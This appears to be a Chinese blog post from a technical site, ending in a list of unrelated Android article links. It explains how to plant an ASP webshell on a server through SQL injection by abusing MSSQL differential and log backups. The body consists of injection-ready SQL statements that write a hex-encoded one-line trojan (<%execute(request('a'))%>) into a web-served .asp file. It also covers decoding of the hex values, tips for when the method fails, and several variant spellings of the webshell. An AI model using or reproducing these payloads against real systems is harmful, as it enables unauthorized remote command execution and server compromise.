MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!

差异备份的流程大概这样:
1.完整备份一次(保存位置当然可以改)
backupdatabase库名todisk='c:\ddd.bak';--

2.创建表并插曲入数据
createtable[dbo].[dtest]([cmd][image]);
insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--

3.进行差异备份
backupdatabase库名todisk='目标位置\d.asp'WITHDIFFERENTIAL,FORMAT;--

上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request("a"))%>

如下是网上常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare@asysname,@snvarchar(4000)select@a=db_name(),@s=0x77006F006B0061006F002E00620061006B00backupdatabase@atodisk=@s

createtable[dbo].[xiaolu]([cmd][image]);

insertintoxiaolu(cmd)values(0x3C25657865637574652872657175657374282261222929253E)

declare@asysname,@snvarchar(4000)select@a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000backupdatabase@atodisk=@sWITHDIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

声明:方法不是我想的,我只是写工具,默认得到shell是
<%execute(request("a"))%>
===============================================================

我发现上面代码,有时会无效,而直接用

backupdatabase库名todisk='c:\ddd.bak'

createtable[dbo].[dtest]([cmd][image]);
insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E)

backupdatabase库名todisk='目标位置\d.asp'WITHDIFFERENTIAL,FORMAT;--

却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!

库名必须要有效的库名,一般注入工具都可以得到!如果某站过滤"‘",就要把字符内容转为数值了!


网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:

';alterdatabasenullsetRECOVERYFULL--

';createtablecmd(aimage)--

';backuplognulltodisk='f:\cmd'withinit--

';insertintocmd(a)values(0x3C2565786563757465287265717565737428226122292
9253EDA)--

';backuplognulltodisk='备份路径'--

PS:0x3C2565786563757465287265717565737428226122292
9253EDA是一句话小马16进制转来的

说到一句话马,还可以有这么几种写法:

a).<%%25Execute(request("a"))%%25>
b).<%Execute(request("a"))%>
c).%><%executerequest("a")%><%
d).<scriptlanguage=VBScriptrunat=server>executerequest("a")</script>
e).<%25Execute(request("a"))%25>

更多相关文章

  1. android各版本的差异
  2. android stdio3.6中textcolor颜色代码大全(个人备份)
  3. KMM 入门(三)平台差异化实现
  4. 完美解决android Studio打开报错 https://code.google.com/p/and
  5. Android(安卓)短信备份完整版
  6. ADB命令大全
  7. 基于 android 数据备份恢复的一种实现
  8. android:allowBackup="true"
  9. 浅谈Android与Linux系统的差异

随机推荐

  1. 什么是Android-Android中文SDK
  2. Android的常用adb命令
  3. Android(安卓)4.4 KitKat 更新内容
  4. Android(安卓)Retrofit 框架上传多张图片
  5. 【学习Android(安卓)NDK开发】native cod
  6. Android:只读EditText内容可滚动(禁止输
  7. Android 蓝牙状态机以及蓝牙启动状态机
  8. Android事件分发机制
  9. Tiny210(Android)串口收发测试通过
  10. android 流量统计实现思路